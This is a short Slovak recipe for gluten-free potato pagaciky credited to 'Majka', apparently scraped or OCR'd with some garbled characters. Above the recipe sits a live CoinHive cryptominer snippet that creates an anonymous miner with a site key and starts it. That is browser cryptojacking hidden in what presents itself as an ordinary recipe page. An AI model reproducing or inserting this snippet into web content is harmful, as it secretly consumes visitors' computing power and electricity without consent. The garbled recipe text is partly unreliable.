ZEMIAKOVE PAGACIKY

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Budete potrebovat: 3 hrnéeky bezlepkovej muky, 2 hrnéeky uvarenych postrihanych zemiakov,
1 hrnCek oleja, 1 hrnCek vlazného séjového mlieka, na kvasok cukor, kvasnice a mlieko, na
potretie vajicko, sol, rascu. VSetky prisady vymiesime a nechame nakysnut. Na pomucene;j
doske vykrajujeme malé pagaciky. Poukladame ich na vymasteny plech. Pred peenim ich
potrieme rozsfahanym vajickom, ¢ast pagacikov mézeme posypat rascou, posolime a
upecCieme do ruzova.

Chutny recept od Majky.




